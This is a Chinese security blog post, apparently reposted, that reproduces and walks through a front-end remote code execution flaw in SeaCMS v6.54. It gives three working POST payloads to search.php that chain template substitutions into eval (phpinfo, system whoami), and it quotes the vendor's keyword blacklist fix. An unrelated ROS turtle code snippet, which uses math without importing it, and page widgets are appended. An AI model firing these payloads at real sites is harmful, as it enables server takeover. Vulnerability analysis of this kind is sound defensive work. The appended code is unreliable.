代码审计之seacms v6.54 前台Getshell 复现分析

1.环境:

php5.5.38+apache+seacms v6.54

上一篇文章针对seacms v6.45 进行了分析,官方给出针对修复前台geishell提供的方法为增加:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

 并且在v6.54中增加了对传入变量的长度限制,限制为20个字符之内,因此单一针对一个变量的绕过方法不满足长度要求,所以在该版本中才进行了多次替换绕过

每一次传进去的长度刚好20,思路挺不错的(当然小于此长度也可以)

但是在echoSearchPage()函数中声明的global变量并不是只有$order一个,可以利用其他的参数构造payload进入$content变量,从而导致代码执行,整个漏洞链构造流程环环相扣,最终聚焦在eval()函数上

2.poc1:

http://192.168.0.6/seacms654/search.php
POST:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

poc2:

 

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan={searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9])&9=phpinfo();

 

poc3:

 

searchtype=5&searchword={if{searchpage:year}&year=:s{searchpage:area}}&area=y{searchpage:letter}&letter=st{searchpage:lang}&yuyan=em{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9])&9=whoami //命令执行

 

3.演示效果:

4.漏洞分析

因为最终利用的是parseif函数,并且要利用到global声明的变量,因此我选择在65行和214行下断点进行分析

 

 执行payload,使用F8开始单步调试,我们关注以下7个变量的值:

从157行开始,利用从global声明的变量开始对$content中的内容进行替换

 第1处替换:

首先使用$searchword变量的值进行了替换,可以看到替换以后与之前的对比

 第2处替换:

将$year变量的值替换了进来

 第3处替换:

将变量$area的值替换了进来,

 

 第4处替换:

将变量$letter的值替换了进来

 第5处替换:

将变量$yuyan的值替换了进来

 第6处替换:

将$jq变量的值替换进来

 第7处替换:

将$ver变量的值替换进来

触发远程代码执行,到此已经拼接成了完整的payload,此时$strIf的内容没有任何过滤就带入了eval函数执行!!!

eval(join($_POST[9]))

 

 官方修复方法:

在parseIf函数中添加了黑名单,替换了一些敏感字符串

function parseIf($content){

        if (strpos($content,'{if:')=== false){

        return $content;

        }else{

        $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");

        $labelRule2="{elseif";

        $labelRule3="{else}";

        preg_match_all($labelRule,$content,$iar);

foreach($iar as $v){

    $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);

 

转载于:https://www.cnblogs.com/wfzWebSecuity/p/11100975.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是一个示例代码,可以让ROS小海龟在给定的5个点之间循环移动,每次到达一个点后,小海龟会先转弯再向下一个点移动。 ```python #!/usr/bin/env python import rospy from geometry_msgs.msg import Twist from turtlesim.msg import Pose # 定义目标点 points = [(5.54, 5.54), (5.54, 8.54), (6.54, 7.54), (5.54, 6.54), (5.54, 5.54)] # 初始化当前目标点和小海龟的目标角度 current_point = 0 target_angle = 0 # 定义回调函数,获取小海龟的当前位置 def pose_callback(pose): global current_point, target_angle x = pose.x y = pose.y # 计算小海龟当前位置与目标点之间的距离 distance_to_target = ((points[current_point][0] - x) ** 2 + (points[current_point][1] - y) ** 2) ** 0.5 # 如果小海龟已经到达了当前目标点,则更新目标点和目标角度 if distance_to_target < 0.1: current_point = (current_point + 1) % len(points) target_angle = get_target_angle(x, y, points[current_point][0], points[current_point][1]) # 计算小海龟需要转动的角度 angle_to_target = get_angle_to_target(pose.theta, target_angle) # 发布速度控制指令 cmd_vel = rospy.Publisher('/turtle1/cmd_vel', Twist, queue_size=10) vel_msg = Twist() vel_msg.linear.x = 1.0 vel_msg.angular.z = angle_to_target cmd_vel.publish(vel_msg) # 计算小海龟需要转动的角度 def get_angle_to_target(current_angle, target_angle): angle = target_angle - current_angle if angle > 3.14159: angle -= 2 * 3.14159 elif angle < -3.14159: angle += 2 * 3.14159 return angle # 计算小海龟需要转向的目标角度 def get_target_angle(x1, y1, x2, y2): return math.atan2(y2 - y1, x2 - x1) if __name__ == '__main__': rospy.init_node('turtle_waypoint_navigation', anonymous=True) # 订阅小海龟的位置信息 pose_sub = rospy.Subscriber('/turtle1/pose', Pose, pose_callback) rospy.spin() ``` 需要注意的是,这个代码中假设小海龟的初始位置在第一个目标点处。如果小海龟的初始位置不在第一个目标点处,需要在代码中进行一些修改。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值